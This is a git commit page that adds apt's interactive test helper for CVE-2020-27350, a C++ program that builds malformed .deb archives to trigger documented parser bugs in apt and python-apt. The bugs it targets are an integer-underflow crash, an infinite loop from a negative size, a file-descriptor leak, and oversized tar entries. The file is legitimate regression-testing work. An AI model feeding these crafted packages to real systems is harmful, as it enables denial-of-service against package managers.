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authorDaniel Baumann <daniel.baumann@progress-linux.org>2024-05-05 18:07:13 +0000
committerDaniel Baumann <daniel.baumann@progress-linux.org>2024-05-05 18:07:13 +0000
commit636c7dc17286d93d788c741d15fd756aeda066d5 (patch)
treee7ae158cc54f591041a061b9865bcae51854f15c /test/interactive-helper/createdeb-cve-2020-27350.cc
parentInitial commit. (diff)
downloadapt-636c7dc17286d93d788c741d15fd756aeda066d5.tar.xz
apt-636c7dc17286d93d788c741d15fd756aeda066d5.zip
Adding upstream version 1.8.2.3.upstream/1.8.2.3upstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to 'test/interactive-helper/createdeb-cve-2020-27350.cc')
-rw-r--r--test/interactive-helper/createdeb-cve-2020-27350.cc325
1 files changed, 325 insertions, 0 deletions
diff --git a/test/interactive-helper/createdeb-cve-2020-27350.cc b/test/interactive-helper/createdeb-cve-2020-27350.cc
new file mode 100644
index 0000000..8b96194
--- /dev/null
+++ b/test/interactive-helper/createdeb-cve-2020-27350.cc
@@ -0,0 +1,325 @@
+#include <errno.h>
+#include <fcntl.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+struct Header
+{
+ char Name[16];
+ char MTime[12];
+ char UID[6];
+ char GID[6];
+ char Mode[8];
+ char Size[10];
+ char Magic[2];
+};
+
+struct TarHeader
+{
+ char Name[100];
+ char Mode[8];
+ char UserID[8];
+ char GroupID[8];
+ char Size[12];
+ char MTime[12];
+ char Checksum[8];
+ char LinkFlag;
+ char LinkName[100];
+ char MagicNumber[8];
+ char UserName[32];
+ char GroupName[32];
+ char Major[8];
+ char Minor[8];
+};
+
+// Call `write` and check the result.
+static void write_chk(int fd, const void *buf, size_t count)
+{
+ const ssize_t wr = write(fd, buf, count);
+ if (wr < 0)
+ {
+ const int err = errno;
+ fprintf(stderr, "Write failed: %s\n", strerror(err));
+ exit(EXIT_FAILURE);
+ }
+ if ((size_t)wr != count)
+ {
+ fprintf(stderr, "Incomplete write.\n");
+ exit(EXIT_FAILURE);
+ }
+}
+
+// Triggers a negative integer overflow at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/arfile.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n116:
+//
+// Memb->Size -= Len;
+//
+// Due to the integer overflow, the value of Memb->Size is 0xFFFFFFFFFFFFFFFF.
+// This leads to an out-of-memory error at https://git.launchpad.net/ubuntu/+source/python-apt/tree/python/arfile.cc?h=applied/ubuntu/focal-updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n602:
+//
+// char* value = new char[member->Size];
+//
+// The out-of-memory error causes aptd to crash.
+static void createdeb_crash(const int fd)
+{
+ // Magic number
+ static const char *magic = "!<arch>\n";
+ write_chk(fd, magic, strlen(magic));
+
+ struct Header h;
+ memset(&h, 0, sizeof(h));
+
+ memcpy(h.Name, "control.tar ", sizeof(h.Name));
+ write_chk(fd, &h, sizeof(h));
+
+ memset(&h, 0, sizeof(h));
+ memcpy(h.Name, "data.tar ", sizeof(h.Name));
+ write_chk(fd, &h, sizeof(h));
+
+ memset(&h, 0, sizeof(h));
+ memcpy(h.Name, "#1/13 ", sizeof(h.Name));
+ strcpy(h.Size, "12");
+ write_chk(fd, &h, sizeof(h));
+ write_chk(fd, "debian-binary", 13);
+}
+
+// Triggers an infinite loop in `ARArchive::LoadHeaders()`.
+// The bug is due to the use of `strtoul` at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/strutl.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n1169:
+//
+// Res = strtoul(S,&End,Base);
+//
+// The problem is that `strtoul` accepts negative numbers. We exploit that here by setting the size string to "-60".
+static void createdeb_loop(const int fd)
+{
+ // Magic number
+ static const char *magic = "!<arch>\n";
+ write_chk(fd, magic, strlen(magic));
+
+ struct Header h;
+ memset(&h, 0, sizeof(h));
+
+ memcpy(h.Name, "#1/20 ", sizeof(h.Name));
+ strcpy(h.Size, "-60");
+ write_chk(fd, &h, sizeof(h));
+
+ char buf[20];
+ memset(buf, 0, sizeof(buf));
+ write_chk(fd, buf, sizeof(buf));
+}
+
+// Leaks a file descriptor in `debfile_new()`:
+//
+// https://git.launchpad.net/python-apt/tree/python/arfile.cc?h=2.0.0#n588
+//
+// If the .deb file is invalid then the function returns without deleting
+// `self`, which means that the file descriptor isn't closed.
+static void createdeb_leakfd(const int fd)
+{
+ // Magic number
+ static const char *magic = "!<arch>\n";
+ write_chk(fd, magic, strlen(magic));
+
+ struct Header h;
+ memset(&h, 0, sizeof(h));
+
+ memset(&h, 0, sizeof(h));
+ memcpy(h.Name, "data.tar ", sizeof(h.Name));
+ write_chk(fd, &h, sizeof(h));
+}
+
+static void set_checksum(unsigned char block[512])
+{
+ struct TarHeader *tar = (struct TarHeader *)&block[0];
+ memset(tar->Checksum, ' ', sizeof(tar->Checksum));
+ uint32_t sum = 0;
+ for (int i = 0; i < 512; i++)
+ {
+ sum += block[i];
+ }
+ snprintf(tar->Checksum, sizeof(tar->Checksum), "%o", sum);
+}
+static void base256_encode(char *Str, unsigned long long Num, unsigned int Len)
+{
+ Str += Len;
+ while (Len-- > 0) {
+ *--Str = static_cast<char>(Num & 0xff);
+ Num >>= 8;
+ }
+
+ *Str |= 0x80; // mark as base256
+}
+
+// Create a deb with a control.tar that contains a too large file or link name (GNU extension)
+static void createdeb_bigtarfilelength(const int fd, int flag, unsigned long long size = 64llu * 1024 * 1024 + 1)
+{
+ // Magic number
+ static const char *magic = "!<arch>\n";
+ write_chk(fd, magic, strlen(magic));
+
+ struct Header h;
+ memset(&h, ' ', sizeof(h));
+ memcpy(h.Name, "debian-binary/ ", sizeof(h.Name));
+ h.MTime[0] = '0';
+ h.UID[0] = '0';
+ h.GID[0] = '0';
+ memcpy(h.Mode, "644", 3);
+ h.Size[0] = '0';
+ memcpy(h.Magic, "`\n", 2);
+
+ write_chk(fd, &h, sizeof(h));
+
+ memset(&h, ' ', sizeof(h));
+ memcpy(h.Name, "data.tar/ ", sizeof(h.Name));
+ h.MTime[0] = '0';
+ h.UID[0] = '0';
+ h.GID[0] = '0';
+ memcpy(h.Mode, "644", 3);
+ h.Size[0] = '0';
+ memcpy(h.Magic, "`\n", 2);
+
+ write_chk(fd, &h, sizeof(h));
+
+ memset(&h, ' ', sizeof(h));
+ memcpy(h.Name, "control.tar/ ", sizeof(h.Name));
+ h.MTime[0] = '0';
+ h.UID[0] = '0';
+ h.GID[0] = '0';
+ memcpy(h.Mode, "644", 3);
+ memcpy(h.Size, "512", 3);
+ memcpy(h.Magic, "`\n", 2);
+
+ write_chk(fd, &h, sizeof(h));
+ union
+ {
+ struct TarHeader t;
+ unsigned char buf[512];
+ } t;
+ for (unsigned int i = 0; i < sizeof(t.buf); i++)
+ t.buf[i] = '7';
+ memcpy(t.t.Name, "control\0 ", 16);
+ memcpy(t.t.UserName, "userName", 8);
+ memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32);
+ t.t.LinkFlag = flag;
+ base256_encode(t.t.Size, size, sizeof(t.t.Size));
+ memset(t.t.Checksum, ' ', sizeof(t.t.Checksum));
+
+ unsigned long sum = 0;
+ for (unsigned int i = 0; i < sizeof(t.buf); i++)
+ sum += t.buf[i];
+
+ int written = sprintf(t.t.Checksum, "%lo", sum);
+ for (unsigned int i = written; i < sizeof(t.t.Checksum); i++)
+ t.t.Checksum[i] = ' ';
+
+ write_chk(fd, t.buf, sizeof(t.buf));
+}
+
+static void createdeb_test(const int fd)
+{
+ // Magic number
+ static const char *magic = "!<arch>\n";
+ write_chk(fd, magic, strlen(magic));
+
+ struct Header h;
+
+ memset(&h, 0, sizeof(h));
+ memcpy(h.Name, "data.tar ", sizeof(h.Name));
+ write_chk(fd, &h, sizeof(h));
+
+ memset(&h, 0, sizeof(h));
+ memcpy(h.Name, "debian-binary ", sizeof(h.Name));
+ strcpy(h.Size, "4");
+ write_chk(fd, &h, sizeof(h));
+ static const char *debian_binary = "2.0\n";
+ write_chk(fd, debian_binary, strlen(debian_binary));
+
+ static const char *control =
+ "Architecture: all\n"
+ "Package: kevsh\n\n";
+ memset(&h, 0, sizeof(h));
+ memcpy(h.Name, "control.tar ", sizeof(h.Name));
+ snprintf(h.Size, sizeof(h.Size), "%ld", (size_t)512 + 512);
+ write_chk(fd, &h, sizeof(h));
+
+ unsigned char block[512];
+ memset(block, 0, sizeof(block));
+ struct TarHeader *tar = (struct TarHeader *)&block[0];
+ strcpy(tar->Name, "control");
+ strcpy(tar->Mode, "644");
+ snprintf(tar->Size, sizeof(tar->Size), "%lo", strlen(control));
+ set_checksum(block);
+ write_chk(fd, block, sizeof(block));
+
+ memset(block, 0, sizeof(block));
+ strcpy((char *)block, control);
+ write_chk(fd, block, sizeof(block));
+}
+
+int main(int argc, char *argv[])
+{
+ if (argc != 3)
+ {
+ const char *progname = argc > 0 ? argv[0] : "a.out";
+ fprintf(
+ stderr,
+ "usage: %s <mode> <filename>\n"
+ "modes: loop, segv, leakfd\n",
+ progname);
+ return EXIT_FAILURE;
+ }
+
+ const char *mode = argv[1];
+ const char *filename = argv[2];
+
+ const int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 00644);
+ if (fd < 0)
+ {
+ const int err = errno;
+ fprintf(stderr, "Could not open %s: %s\n", filename, strerror(err));
+ return EXIT_FAILURE;
+ }
+
+ if (strcmp(mode, "crash") == 0)
+ {
+ createdeb_crash(fd);
+ }
+ else if (strcmp(mode, "loop") == 0)
+ {
+ createdeb_loop(fd);
+ }
+ else if (strcmp(mode, "leakfd") == 0)
+ {
+ createdeb_leakfd(fd);
+ }
+ else if (strcmp(mode, "long-name") == 0)
+ {
+ createdeb_bigtarfilelength(fd, 'L');
+ }
+ else if (strcmp(mode, "long-link") == 0)
+ {
+ createdeb_bigtarfilelength(fd, 'K');
+ }
+ else if (strcmp(mode, "long-control") == 0)
+ {
+ createdeb_bigtarfilelength(fd, '0');
+ }
+ else if (strcmp(mode, "too-long-control") == 0)
+ {
+ createdeb_bigtarfilelength(fd, '0', 128llu * 1024 * 1024 * 1024 + 1);
+ }
+ else if (strcmp(mode, "test") == 0)
+ {
+ createdeb_test(fd);
+ }
+ else
+ {
+ fprintf(stderr, "Mode not recognized: %s\n", mode);
+ }
+
+ close(fd);
+ return EXIT_SUCCESS;
+}